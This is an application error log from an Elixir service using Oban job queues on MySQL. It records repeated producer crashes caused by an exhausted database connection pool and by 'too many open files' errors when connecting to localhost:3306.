    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:31:37.240776Z], limit: 10, uuid: "d57edf4e-2b0c-4971-a25f-9e9214b8a6df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.240938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20465>, refresh_timer: #Reference<0.2525715032.1099431938.20460>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:31:37.240171Z], limit: 20, uuid: "c9dccc2a-b43c-4af6-af5c-cb04742287fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:37.240177Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20467>, refresh_timer: #Reference<0.2525715032.1068498948.13093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:53.401000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:53.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:55.466000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:01.723000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:02.217000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:03.197000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:31:50.240735Z], limit: 10, uuid: "001ed0ec-38e0-4759-8593-8e38a4342f4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.240742Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20918>, refresh_timer: #Reference<0.2525715032.1068498948.13315>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:31:50.240702Z], limit: 20, uuid: "695b0c42-93c7-4313-a02d-511b1d6969b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.240708Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20917>, refresh_timer: #Reference<0.2525715032.1068498948.13311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:31:50.239995Z], limit: 3, uuid: "5a7f5701-5bd0-48fe-a82d-62eb37dfb424", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.240000Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20916>, refresh_timer: #Reference<0.2525715032.1099431938.20889>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:31:50.239712Z], limit: 5, uuid: "8a35ceb3-abcd-4353-8b66-e86eaf55b5ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.239718Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20915>, refresh_timer: #Reference<0.2525715032.1099431938.20879>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:31:50.240163Z], limit: 5, uuid: "41f63f8b-e6cb-4999-9488-8a0d1c20ef08", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.240169Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20920>, refresh_timer: #Reference<0.2525715032.1121189889.119867>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:31:50.239400Z], limit: 50, uuid: "f9482324-b03f-4098-9f20-321f4d03ec1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:50.240266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.20919>, refresh_timer: #Reference<0.2525715032.1068498948.13301>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:06.733000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:07.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:11.124000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:14.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:32:03.239983Z], limit: 20, uuid: "4d8381b0-62df-4681-8d2d-a5b826a5901a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.239990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.13498>, refresh_timer: #Reference<0.2525715032.1068498948.13450>, dispatch_cooldown: 5, running: %{}}
